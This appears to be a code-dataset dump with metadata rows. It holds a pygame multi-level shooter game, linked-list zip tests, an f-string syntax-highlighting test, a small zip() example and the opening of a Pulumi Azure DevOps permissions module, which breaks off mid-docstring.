self.position[1], self.size[0], self.size[1]))
else:
pygame.draw.rect(surface, self.colour, (self.position[0], self.position[1], self.size[0], self.size[1]))
label = self.font.render(self.text, 30, (40, 180, 250))
surface.blit(label, self.position)
def is_mouse_hovering(self, mouse_x, mouse_y):
return(self.position[0] <= mouse_x <= self.position[0] + self.size[0]
and self.position[1] <= mouse_y <= self.position[1] + self.size[1])
def click(self):
self.callback()
if play.click():
EnemyHandler.difficulty = 5
mixer.music.pause()
lvl1()
def lvl1():
while True:
window2 = UIWindow(Vector(1280, 720), "LEVEL 1")
brush = window2.get_brush()
ship = Ship(Vector(100, 140))
enemy_handler = EnemyHandler(Vector(1000, 500), 55)
bullet_handler = BulletHandler(Vector(1280, 720))
background2 = Lvl1Background(Vector(640, 360))
# to calculate the position, take your x/y value and divide it by 2 and then do 1280(x) or 720(y) - your value
score = 0
score_label = HUDLabel(Vector(100, 50), Vector(150, 100), "Score: 0", SysFont("comic sans", 256),
(255, 255, 255))
lives_label = HUDLabel(Vector(300, 50), Vector(150, 100), "Lives: 5", SysFont("comic sans", 256),
(255, 255, 255))
pygame.mixer.music.load('assets/music/8-bitMusic.mp3')
pygame.mixer.music.play(loops=-1)
while True:
delta_time = window2.wait() / 1800
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
quit(0)
elif event.type == pygame.KEYDOWN:
if event.key == pygame.K_w:
ship.add_velocity(Vector(0, -500))
elif event.key == pygame.K_a:
ship.add_velocity(Vector(-550))
elif event.key == pygame.K_s:
ship.add_velocity(Vector(0, 500))
elif event.key == pygame.K_d:
ship.add_velocity(Vector(550))
elif event.key == pygame.K_SPACE:
ship.fire(bullet_handler)
elif event.type == pygame.KEYUP:
if event.key == pygame.K_w:
ship.add_velocity(Vector(0, 500))
elif event.key == pygame.K_a:
ship.add_velocity(Vector(550))
elif event.key == pygame.K_s:
ship.add_velocity(Vector(0, -500))
elif event.key == pygame.K_d:
ship.add_velocity(Vector(-550))
ship.update(delta_time)
bullet_handler.update(delta_time)
enemy_handler.update(delta_time)
bullet_handler.check_collisions(enemy_handler)
score += enemy_handler.get_enemy_destroyed()
score_label.set_text("Score: " + str(score))
score_label.update_appearance()
if ship.check_enemy_collision(enemy_handler):
lives = ship.get_lives_lost(ship)
lives_label.set_text("Lives: " + str(lives))
lives_label.update_appearance()
if score >= 100:
lvl2()
window2.clear()
background2.render(brush)
score_label.render(brush)
lives_label.render(brush)
enemy_handler.render(brush)
bullet_handler.render(brush)
ship.render(brush)
window2.show_frame()
def lvl2():
while True:
window2 = UIWindow(Vector(1280, 720), "LEVEL 2")
brush = window2.get_brush()
ship = Lvl2Ship(Vector(100, 140))
enemy_handler = Lvl2EnemyHandler(Vector(1000, 500), 28)
bullet_handler = Lvl2BulletHandler(Vector(1280, 720))
background2 = Lvl2Background(Vector(640, 360))
# to calculate the position, take your x/y value and divide it by 2 and then do 1280(x) or 720(y) - your value
score = 0
score_label = HUDLabel(Vector(100, 50), Vector(150, 100), "Score: 0", SysFont("comic sans", 256),
(255, 255, 255))
lives_label = HUDLabel(Vector(300, 50), Vector(150, 100), "Lives: 4", SysFont("comic sans", 256),
(255, 255, 255))
pygame.mixer.music.load('assets/music/Jurassic Park.mp3')
pygame.mixer.music.play(loops=-1)
while True:
delta_time = window2.wait() / 1000
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
quit(0)
elif event.type == pygame.KEYDOWN:
if event.key == pygame.K_w:
ship.add_velocity(Vector(0, -400))
elif event.key == pygame.K_a:
ship.add_velocity(Vector(-450))
elif event.key == pygame.K_s:
ship.add_velocity(Vector(0, 400))
elif event.key == pygame.K_d:
ship.add_velocity(Vector(450))
elif event.key == pygame.K_SPACE:
ship.fire(bullet_handler)
elif event.type == pygame.KEYUP:
if event.key == pygame.K_w:
ship.add_velocity(Vector(0, 400))
elif event.key == pygame.K_a:
ship.add_velocity(Vector(450))
elif event.key == pygame.K_s:
ship.add_velocity(Vector(0, -400))
elif event.key == pygame.K_d:
ship.add_velocity(Vector(-450))
ship.update(delta_time)
bullet_handler.update(delta_time)
enemy_handler.update(delta_time)
bullet_handler.check_collisions(enemy_handler)
score += enemy_handler.get_enemy_destroyed()
score_label.set_text("Score: " + str(score))
score_label.update_appearance()
if ship.check_enemy_collision(enemy_handler):
lives = ship.get_lives_lost(ship)
lives_label.set_text("Lives: " + str(lives))
lives_label.update_appearance()
if score >= 150:
lvl3()
window2.clear()
background2.render(brush)
score_label.render(brush)
lives_label.render(brush)
enemy_handler.render(brush)
bullet_handler.render(brush)
ship.render(brush)
print("You achieved a score of: " + str(score))
window2.show_frame()
def lvl3():
while True:
window2 = UIWindow(Vector(1280, 720), "LEVEL 3")
brush = window2.get_brush()
ship = Lvl3Ship(Vector(100, 140))
enemy_handler = EnemyHandler3(Vector(1000, 500), 13)
enemy_handler2 = EnemyHandler4(Vector(500, 1000), 3)
bullet_handler = Lvl3BulletHandler(Vector(1280, 720))
background2 = Lvl3Background(Vector(640, 360))
# to calculate the position, take your x/y value and divide it by 2 and then do 1280(x) or 720(y) - your value
score = 0
score_label = HUDLabel(Vector(100, 50), Vector(150, 100), "Score: 0", SysFont("comic sans", 256),
(255, 255, 255))
lives_label = HUDLabel(Vector(300, 50), Vector(150, 100), "Lives: 4", SysFont("comic sans", 256),
(255, 255, 255))
pygame.mixer.music.load('assets/music/Pirates of the Caribbean - Hes a Pirate.mp3')
pygame.mixer.music.play(loops=-1)
while True:
delta_time = window2.wait() / 1000
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
quit(0)
elif event.type == pygame.KEYDOWN:
if event.key == pygame.K_w:
ship.add_velocity(Vector(0, -400))
elif event.key == pygame.K_a:
ship.add_velocity(Vector(-450))
elif event.key == pygame.K_s:
ship.add_velocity(Vector(0, 400))
elif event.key == pygame.K_d:
ship.add_velocity(Vector(450))
elif event.key == pygame.K_SPACE:
ship.fire(bullet_handler)
elif event.type == pygame.KEYUP:
if event.key == pygame.K_w:
ship.add_velocity(Vector(0, 400))
elif event.key == pygame.K_a:
ship.add_velocity(Vector(450))
elif event.key == pygame.K_s:
ship.add_velocity(Vector(0, -400))
elif event.key == pygame.K_d:
ship.add_velocity(Vector(-450))
ship.update(delta_time)
bullet_handler.update(delta_time)
enemy_handler.update(delta_time)
enemy_handler2.update(delta_time)
bullet_handler.check_collisions(enemy_handler)
bullet_handler.check_collisions(enemy_handler2)
score += enemy_handler.get_enemy_destroyed()
score_label.set_text("Score: " + str(score))
score_label.update_appearance()
score += enemy_handler2.get_enemy_destroyed()
score_label.set_text("Score: " + str(score))
score_label.update_appearance()
if ship.check_enemy_collision(enemy_handler):
lives = ship.get_lives_lost(ship)
lives_label.set_text("Lives: " + str(lives))
lives_label.update_appearance()
if ship.check_enemy_collision(enemy_handler2):
lives = ship.get_lives_lost(ship)
lives_label.set_text("Lives: " + str(lives))
lives_label.update_appearance()
if score >= 150:
lvl4()
window2.clear()
background2.render(brush)
score_label.render(brush)
lives_label.render(brush)
enemy_handler.render(brush)
enemy_handler2.render(brush)
bullet_handler.render(brush)
ship.render(brush)
print("You achieved a score of: " + str(score))
window2.show_frame()
def lvl4():
while True:
window2 = UIWindow(Vector(1280, 720), "LEVEL 4")
brush = window2.get_brush()
ship = Lvl4Ship(Vector(640, 360))
enemy_handler = EnemyHandler5(Vector(1000, 500), 10)
enemy_handler3 = EnemyHandler6(Vector(1000, 500), 7)
enemy_handler4 = EnemyHandler7(Vector(1000, 500), 4)
background2 = Lvl4Background(Vector(640, 360))
# to calculate the position, take your x/y value and divide it by 2 and then do 1280(x) or 720(y) - your value
timep = 3000
time_label = HUDLabel(Vector(100, 50), Vector(190, 100), "Time Left: 3000", SysFont("comic sans", 256),
(255, 255, 255))
lives_label = HUDLabel(Vector(300, 50), Vector(150, 100), "Lives: 3", SysFont("comic sans", 256),
(255, 255, 255))
pygame.mixer.music.load('assets/music/Bobby-Darin-Beyond-the-Sea.mp3')
pygame.mixer.music.play(loops=-1)
while True:
delta_time = window2.wait() / 1000
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
quit(0)
elif event.type == pygame.KEYDOWN:
if event.key == pygame.K_w:
ship.add_velocity(Vector(0, -300))
elif event.key == pygame.K_a:
ship.add_velocity(Vector(-350))
elif event.key == pygame.K_s:
ship.add_velocity(Vector(0, 300))
elif event.key == pygame.K_d:
ship.add_velocity(Vector(350))
elif event.type == pygame.KEYUP:
if event.key == pygame.K_w:
ship.add_velocity(Vector(0, 300))
elif event.key == pygame.K_a:
ship.add_velocity(Vector(350))
elif event.key == pygame.K_s:
ship.add_velocity(Vector(0, -300))
elif event.key == pygame.K_d:
ship.add_velocity(Vector(-350))
ship.update(delta_time)
enemy_handler.update(delta_time)
enemy_handler3.update(delta_time)
enemy_handler4.update(delta_time)
timep = timep - 1
time_label.set_text("Time Left: " + str(timep))
time_label.update_appearance()
if ship.check_enemy_collision(enemy_handler):
lives = ship.get_lives_lost(ship)
lives_label.set_text("Lives: " + str(lives))
lives_label.update_appearance()
if ship.check_enemy_collision(enemy_handler4):
lives = ship.get_lives_lost(ship)
lives_label.set_text("Lives: " + str(lives))
lives_label.update_appearance()
if ship.check_enemy_collision(enemy_handler3):
lives = ship.get_lives_lost(ship)
lives_label.set_text("Lives: " + str(lives))
lives_label.update_appearance()
if timep == 0:
lvl5()
window2.clear()
background2.render(brush)
time_label.render(brush)
lives_label.render(brush)
enemy_handler.render(brush)
enemy_handler3.render(brush)
enemy_handler4.render(brush)
ship.render(brush)
window2.show_frame()
def lvl5():
while True:
window2 = UIWindow(Vector(1000, 720), "LEVEL 5")
brush = window2.get_brush()
ship = Lvl5ship(Vector(100, 140))
enemy_handler = EnemyHandler8(Vector(1000, 500), 40)
enemy_handler2 = EnemyHandler9(Vector(1000, 500), 40)
bullet_handler = BulletHandler5(Vector(1000, 720))
background2 = Lvl5Background(Vector(640, 360))
# to calculate the position, take your x/y value and divide it by 2 and then do 1280(x) or 720(y) - your value
score = 0
score_label = HUDLabel(Vector(100, 50), Vector(150, 100), "Score: 0", SysFont("comic sans", 256),
(255, 255, 255))
lives_label = HUDLabel(Vector(300, 50), Vector(150, 100), "Lives: 4", SysFont("comic sans", 256),
(255, 255, 255))
pygame.mixer.music.load('assets/music/Under The Sea.mp3')
pygame.mixer.music.play(loops=-1)
while True:
delta_time = window2.wait() / 1000
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
quit(0)
elif event.type == pygame.KEYDOWN:
if event.key == pygame.K_w:
ship.add_velocity(Vector(0, -400))
elif event.key == pygame.K_a:
ship.add_velocity(Vector(-450))
elif event.key == pygame.K_s:
ship.add_velocity(Vector(0, 400))
elif event.key == pygame.K_d:
ship.add_velocity(Vector(450))
elif event.key == pygame.K_SPACE:
ship.fire(bullet_handler)
elif event.type == pygame.KEYUP:
if event.key == pygame.K_w:
ship.add_velocity(Vector(0, 400))
elif event.key == pygame.K_a:
ship.add_velocity(Vector(450))
elif event.key == pygame.K_s:
ship.add_velocity(Vector(0, -400))
elif event.key == pygame.K_d:
ship.add_velocity(Vector(-450))
ship.update(delta_time)
bullet_handler.update(delta_time)
enemy_handler.update(delta_time)
enemy_handler2.update(delta_time)
bullet_handler.check_collisions(enemy_handler)
bullet_handler.check_collisions(enemy_handler2)
score += enemy_handler.get_enemy_destroyed()
score_label.set_text("Score: " + str(score))
score_label.update_appearance()
score += enemy_handler2.get_enemy_destroyed()
score_label.set_text("Score: " + str(score))
score_label.update_appearance()
if ship.check_enemy_collision(enemy_handler):
lives = ship.get_lives_lost(ship)
lives_label.set_text("Lives: " + str(lives))
lives_label.update_appearance()
if ship.check_enemy_collision(enemy_handler2):
lives = ship.get_lives_lost(ship)
lives_label.set_text("Lives: " + str(lives))
lives_label.update_appearance()
if score == 200:
lvl6()
window2.clear()
background2.render(brush)
score_label.render(brush)
lives_label.render(brush)
enemy_handler.render(brush)
enemy_handler2.render(brush)
bullet_handler.render(brush)
ship.render(brush)
window2.show_frame()
def lvl6():
while True:
window2 = UIWindow(Vector(1280, 720), "LEVEL 7")
brush = window2.get_brush()
ship = ShipX(Vector(100, 140))
enemy_handler = EnemyHandlerX(Vector(1000, 500), 25)
bullet_handler = BulletHandlerX(Vector(1280, 720))
background2 = LvlXBackground(Vector(640, 360))
# to calculate the position, take your x/y value and divide it by 2 and then do 1280(x) or 720(y) - your value
score = 0
score_label = HUDLabel(Vector(100, 50), Vector(150, 100), "Score: 0", SysFont("comic sans", 256),
(255, 255, 255))
lives_label = HUDLabel(Vector(300, 50), Vector(150, 100), "Lives: 5", SysFont("comic sans", 256),
(255, 255, 255))
pygame.mixer.music.load('assets/music/SmashMouth-AllStar.mp3')
pygame.mixer.music.play(loops=-1)
while True:
delta_time = window2.wait() / 1000
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
quit(0)
elif event.type == pygame.KEYDOWN:
if event.key == pygame.K_w:
ship.add_velocity(Vector(0, -400))
elif event.key == pygame.K_a:
ship.add_velocity(Vector(-450))
elif event.key == pygame.K_s:
ship.add_velocity(Vector(0, 400))
elif event.key == pygame.K_d:
ship.add_velocity(Vector(450))
elif event.key == pygame.K_SPACE:
ship.fire(bullet_handler)
elif event.type == pygame.KEYUP:
if event.key == pygame.K_w:
ship.add_velocity(Vector(0, 400))
elif event.key == pygame.K_a:
ship.add_velocity(Vector(450))
elif event.key == pygame.K_s:
ship.add_velocity(Vector(0, -400))
elif event.key == pygame.K_d:
ship.add_velocity(Vector(-450))
ship.update(delta_time)
bullet_handler.update(delta_time)
enemy_handler.update(delta_time)
bullet_handler.check_collisions(enemy_handler)
score += enemy_handler.get_enemy_destroyed()
score_label.set_text("Score: " + str(score))
score_label.update_appearance()
if ship.check_enemy_collision(enemy_handler):
lives = ship.get_lives_lost(ship)
lives_label.set_text("Lives: " + str(lives))
lives_label.update_appearance()
window2.clear()
background2.render(brush)
score_label.render(brush)
lives_label.render(brush)
enemy_handler.render(brush)
bullet_handler.render(brush)
ship.render(brush)
window2.show_frame()
window = pygame.display.set_mode((800, 600))
current_state = 0
play = Button((350, 350), (80, 30), (140, 20, 120), (0, 0, 0), "PLAY", 5, lvl6)
title_label = Button((250, 150), (320, 30), (0, 0, 0), (0, 0, 0), "SOUPED UP SALMON", 0, None)
title_label2 = Button((345, 180), (140, 30), (0, 0, 0), (0, 0, 0), "ORIGINS", 0, None)
title_label3 = Button2((0, 0), (0, 0), (0, 0, 0), (0, 0, 0), "lift your finger from wasd before you enter "
"the next level to avoid the glitch", 0, None)
background = DifficultyBackground((0, 0))
buttons = [play]
def dif_get_input():
if current_state == 0:
mouse_x, mouse_y = pygame.mouse.get_pos()
hovered_button = None
for button in buttons:
button.hovering = button.is_mouse_hovering(mouse_x, mouse_y)
if button.hovering:
hovered_button = button
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
quit(0)
if event.type == pygame.MOUSEBUTTONDOWN:
if event.button == pygame.BUTTON_LEFT:
if hovered_button:
hovered_button.click()
def dif_update():
if current_state == 0:
pass
def dif_render():
if current_state == 0:
background.draw(window)
play.draw(window)
title_label.draw(window)
title_label2.draw(window)
title_label3.draw(window)
pygame.display.flip()
pygame.mixer.pause()
pygame.mixer.music.load('assets/music/Monsta.mp3')
pygame.mixer.music.play(loops=-1)
while True:
dif_get_input()
dif_update()
dif_render()
| 38.494656
| 119
| 0.522844
| 2,794
| 25,214
| 4.56156
| 0.086256
| 0.037426
| 0.058219
| 0.062377
| 0.841899
| 0.816163
| 0.811377
| 0.810122
| 0.793645
| 0.78266
| 0
| 0.066604
| 0.371778
| 25,214
| 654
| 120
| 38.553517
| 0.738005
| 0.025898
| 0
| 0.784158
| 0
| 0
| 0.034059
| 0.006234
| 0
| 0
| 0
| 0
| 0
| 1
| 0.033663
| false
| 0.00198
| 0.007921
| 0.00396
| 0.045545
| 0.00396
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
488c400a7179687b55e8b31a8e4443aadf616ecb
| 1,438
|
py
|
Python
|
python/code_challenges/linked_list_zip/test_zip.py
|
ferasezzaldeen/data-structures-and-algorithms
|
a120c288b34ced58154dc576a762727fa856fada
|
[
"MIT"
] | null | null | null |
python/code_challenges/linked_list_zip/test_zip.py
|
ferasezzaldeen/data-structures-and-algorithms
|
a120c288b34ced58154dc576a762727fa856fada
|
[
"MIT"
] | 2
|
2021-07-25T17:58:35.000Z
|
2021-08-17T17:43:07.000Z
|
python/code_challenges/linked_list_zip/test_zip.py
|
ferasezzaldeen/data-structures-and-algorithms
|
a120c288b34ced58154dc576a762727fa856fada
|
[
"MIT"
] | null | null | null |
from forimporting import *
from linked_list_zip import *
#test if the function work
def test_zip_list():
first=LinkedList()
second=LinkedList()
first.appendvalue(11)
first.appendvalue(12)
first.appendvalue(13)
first.appendvalue(14)
second.appendvalue(21)
second.appendvalue(22)
second.appendvalue(23)
second.appendvalue(24)
new=zip_lists(first,second)
actual=new.__str__()
expected='11 -> 21 -> 12 -> 22 -> 13 -> 23 -> 14 -> 24 -> NULL'
assert actual==expected
#test if the function work when the first list is longer from the second
def test_zip_list_first_is_longer():
first=LinkedList()
second=LinkedList()
first.appendvalue(11)
first.appendvalue(12)
first.appendvalue(13)
first.appendvalue(14)
second.appendvalue(21)
second.appendvalue(22)
new=zip_lists(first,second)
actual=new.__str__()
expected='11 -> 21 -> 12 -> 22 -> 13 -> 14 -> NULL'
assert actual==expected
#test if the function work when the second list is longer from the first
def test_zip_list_second_is_longer():
first=LinkedList()
second=LinkedList()
first.appendvalue(11)
first.appendvalue(12)
second.appendvalue(21)
second.appendvalue(22)
second.appendvalue(23)
second.appendvalue(24)
new=zip_lists(first,second)
actual=new.__str__()
expected='11 -> 21 -> 12 -> 22 -> 23 -> 24 -> NULL'
assert actual==expected
| 27.653846
| 72
| 0.682197
| 190
| 1,438
| 5.010526
| 0.178947
| 0.168067
| 0.028361
| 0.053571
| 0.90021
| 0.77416
| 0.77416
| 0.77416
| 0.77416
| 0.77416
| 0
| 0.069444
| 0.198887
| 1,438
| 51
| 73
| 28.196078
| 0.756944
| 0.116829
| 0
| 0.813953
| 0
| 0
| 0.104183
| 0
| 0
| 0
| 0
| 0
| 0.069767
| 1
| 0.069767
| false
| 0
| 0.046512
| 0
| 0.116279
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
48ce0dcd93960ac2bbf59c15bba1d0f2f1b64700
| 2,324
|
py
|
Python
|
test/fstrings/simple2.py
|
kylebarron/MagicPython
|
da6fa0793e2c85d3bf7709ff1d4f65ccf468db11
|
[
"MIT"
] | 1
|
2020-08-07T16:09:57.000Z
|
2020-08-07T16:09:57.000Z
|
test/fstrings/simple2.py
|
kylebarron/MagicPython
|
da6fa0793e2c85d3bf7709ff1d4f65ccf468db11
|
[
"MIT"
] | 4
|
2019-06-16T09:52:03.000Z
|
2019-08-18T02:11:35.000Z
|
test/fstrings/simple2.py
|
kylebarron/MagicPython
|
da6fa0793e2c85d3bf7709ff1d4f65ccf468db11
|
[
"MIT"
] | null | null | null |
a = f"normal {{ normal }} normal } {10!r} normal {fo.__add__!s}"
a : source.python
: source.python
= : keyword.operator.assignment.python, source.python
: source.python
f : meta.fstring.python, source.python, storage.type.string.python, string.interpolated.python, string.quoted.single.python
" : meta.fstring.python, punctuation.definition.string.begin.python, source.python, string.interpolated.python, string.quoted.single.python
normal : meta.fstring.python, source.python, string.interpolated.python, string.quoted.single.python
{{ : constant.character.escape.python, meta.fstring.python, source.python
normal : meta.fstring.python, source.python, string.interpolated.python, string.quoted.single.python
}} : constant.character.escape.python, meta.fstring.python, source.python
normal : meta.fstring.python, source.python, string.interpolated.python, string.quoted.single.python
} : invalid.illegal.brace.python, meta.fstring.python, source.python
: meta.fstring.python, source.python, string.interpolated.python, string.quoted.single.python
{ : constant.character.format.placeholder.other.python, meta.fstring.python, source.python
10 : constant.numeric.dec.python, meta.fstring.python, source.python
!r : meta.fstring.python, source.python, storage.type.format.python
} : constant.character.format.placeholder.other.python, meta.fstring.python, source.python
normal : meta.fstring.python, source.python, string.interpolated.python, string.quoted.single.python
{ : constant.character.format.placeholder.other.python, meta.fstring.python, source.python
fo : meta.fstring.python, source.python
. : meta.fstring.python, punctuation.separator.period.python, source.python
__add__ : meta.fstring.python, source.python, support.function.magic.python
!s : meta.fstring.python, source.python, storage.type.format.python
} : constant.character.format.placeholder.other.python, meta.fstring.python, source.python
" : meta.fstring.python, punctuation.definition.string.end.python, source.python, string.interpolated.python, string.quoted.single.python
| 77.466667
| 151
| 0.704819
| 265
| 2,324
| 6.150943
| 0.154717
| 0.184049
| 0.265031
| 0.253988
| 0.855828
| 0.838037
| 0.816564
| 0.755215
| 0.722086
| 0.648466
| 0
| 0.002093
| 0.177711
| 2,324
| 29
| 152
| 80.137931
| 0.850863
| 0
| 0
| 0.384615
| 0
| 0.384615
| 0.024527
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
48db3297b1bc011e6f891989aa39a538ca18be60
| 131
|
py
|
Python
|
examples/zip/ex2.py
|
mcorne/python-by-example
|
15339c0909c84b51075587a6a66391100971c033
|
[
"MIT"
] | null | null | null |
examples/zip/ex2.py
|
mcorne/python-by-example
|
15339c0909c84b51075587a6a66391100971c033
|
[
"MIT"
] | null | null | null |
examples/zip/ex2.py
|
mcorne/python-by-example
|
15339c0909c84b51075587a6a66391100971c033
|
[
"MIT"
] | null | null | null |
# zip(*(('white', 'small'), ('red', 'big')))
colors, sizes = zip(*(('white', 'small'), ('red', 'big')))
print(colors)
print(sizes)
| 26.2
| 58
| 0.534351
| 16
| 131
| 4.375
| 0.5
| 0.228571
| 0.371429
| 0.457143
| 0.542857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.10687
| 131
| 4
| 59
| 32.75
| 0.598291
| 0.320611
| 0
| 0
| 0
| 0
| 0.183908
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0.666667
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
5b04488a067e138e20ea110e52495f8d2defae2d
| 17,941
|
py
|
Python
|
sdk/python/pulumi_azuredevops/iterative_permissions.py
|
pulumi/pulumi-azuredevops
|
e6d73d1501335037fb944ae627091a7afc7f0048
|
[
"ECL-2.0",
"Apache-2.0"
] | 13
|
2020-06-28T11:39:32.000Z
|
2022-03-05T13:34:16.000Z
|
sdk/python/pulumi_azuredevops/iterative_permissions.py
|
pulumi/pulumi-azuredevops
|
e6d73d1501335037fb944ae627091a7afc7f0048
|
[
"ECL-2.0",
"Apache-2.0"
] | 58
|
2020-06-20T14:00:28.000Z
|
2022-03-31T15:20:51.000Z
|
sdk/python/pulumi_azuredevops/iterative_permissions.py
|
pulumi/pulumi-azuredevops
|
e6d73d1501335037fb944ae627091a7afc7f0048
|
[
"ECL-2.0",
"Apache-2.0"
] | 2
|
2020-10-21T03:22:01.000Z
|
2021-12-10T18:26:59.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from . import _utilities
__all__ = ['IterativePermissionsArgs', 'IterativePermissions']
@pulumi.input_type
class IterativePermissionsArgs:
def __init__(__self__, *,
permissions: pulumi.Input[Mapping[str, pulumi.Input[str]]],
principal: pulumi.Input[str],
project_id: pulumi.Input[str],
path: Optional[pulumi.Input[str]] = None,
replace: Optional[pulumi.Input[bool]] = None):
"""
The set of arguments for constructing a IterativePermissions resource.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] permissions: the permissions to assign. The following permissions are available.
:param pulumi.Input[str] principal: The **group** principal to assign the permissions.
:param pulumi.Input[str] project_id: The ID of the project to assign the permissions.
:param pulumi.Input[str] path: The name of the branch to assign the permissions.
:param pulumi.Input[bool] replace: Replace (`true`) or merge (`false`) the permissions. Default: `true`
"""
pulumi.set(__self__, "permissions", permissions)
pulumi.set(__self__, "principal", principal)
pulumi.set(__self__, "project_id", project_id)
if path is not None:
pulumi.set(__self__, "path", path)
if replace is not None:
pulumi.set(__self__, "replace", replace)
@property
@pulumi.getter
def permissions(self) -> pulumi.Input[Mapping[str, pulumi.Input[str]]]:
"""
the permissions to assign. The following permissions are available.
"""
return pulumi.get(self, "permissions")
@permissions.setter
def permissions(self, value: pulumi.Input[Mapping[str, pulumi.Input[str]]]):
pulumi.set(self, "permissions", value)
@property
@pulumi.getter
def principal(self) -> pulumi.Input[str]:
"""
The **group** principal to assign the permissions.
"""
return pulumi.get(self, "principal")
@principal.setter
def principal(self, value: pulumi.Input[str]):
pulumi.set(self, "principal", value)
@property
@pulumi.getter(name="projectId")
def project_id(self) -> pulumi.Input[str]:
"""
The ID of the project to assign the permissions.
"""
return pulumi.get(self, "project_id")
@project_id.setter
def project_id(self, value: pulumi.Input[str]):
pulumi.set(self, "project_id", value)
@property
@pulumi.getter
def path(self) -> Optional[pulumi.Input[str]]:
"""
The name of the branch to assign the permissions.
"""
return pulumi.get(self, "path")
@path.setter
def path(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "path", value)
@property
@pulumi.getter
def replace(self) -> Optional[pulumi.Input[bool]]:
"""
Replace (`true`) or merge (`false`) the permissions. Default: `true`
"""
return pulumi.get(self, "replace")
@replace.setter
def replace(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "replace", value)
@pulumi.input_type
class _IterativePermissionsState:
def __init__(__self__, *,
path: Optional[pulumi.Input[str]] = None,
permissions: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
principal: Optional[pulumi.Input[str]] = None,
project_id: Optional[pulumi.Input[str]] = None,
replace: Optional[pulumi.Input[bool]] = None):
"""
Input properties used for looking up and filtering IterativePermissions resources.
:param pulumi.Input[str] path: The name of the branch to assign the permissions.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] permissions: the permissions to assign. The following permissions are available.
:param pulumi.Input[str] principal: The **group** principal to assign the permissions.
:param pulumi.Input[str] project_id: The ID of the project to assign the permissions.
:param pulumi.Input[bool] replace: Replace (`true`) or merge (`false`) the permissions. Default: `true`
"""
if path is not None:
pulumi.set(__self__, "path", path)
if permissions is not None:
pulumi.set(__self__, "permissions", permissions)
if principal is not None:
pulumi.set(__self__, "principal", principal)
if project_id is not None:
pulumi.set(__self__, "project_id", project_id)
if replace is not None:
pulumi.set(__self__, "replace", replace)
@property
@pulumi.getter
def path(self) -> Optional[pulumi.Input[str]]:
"""
The name of the branch to assign the permissions.
"""
return pulumi.get(self, "path")
@path.setter
def path(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "path", value)
@property
@pulumi.getter
def permissions(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
the permissions to assign. The following permissions are available.
"""
return pulumi.get(self, "permissions")
@permissions.setter
def permissions(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "permissions", value)
@property
@pulumi.getter
def principal(self) -> Optional[pulumi.Input[str]]:
"""
The **group** principal to assign the permissions.
"""
return pulumi.get(self, "principal")
@principal.setter
def principal(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "principal", value)
@property
@pulumi.getter(name="projectId")
def project_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the project to assign the permissions.
"""
return pulumi.get(self, "project_id")
@project_id.setter
def project_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "project_id", value)
@property
@pulumi.getter
def replace(self) -> Optional[pulumi.Input[bool]]:
"""
Replace (`true`) or merge (`false`) the permissions. Default: `true`
"""
return pulumi.get(self, "replace")
@replace.setter
def replace(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "replace", value)
class IterativePermissions(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
path: Optional[pulumi.Input[str]] = None,
permissions: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
principal: Optional[pulumi.Input[str]] = None,
project_id: Optional[pulumi.Input[str]] = None,
replace: Optional[pulumi.Input[bool]] = None,
__props__=None):
"""
Manages permissions for an Iteration (Sprint)
> **Note** Permissions can be assigned to group principals and not to single user principals.
## Permission levels
Permission for Iterations within Azure DevOps can be applied on two different levels.
Those levels are reflected by specifying (or omitting) values for the arguments `project_id` and `path`.
## Example Usage
```python
import pulumi
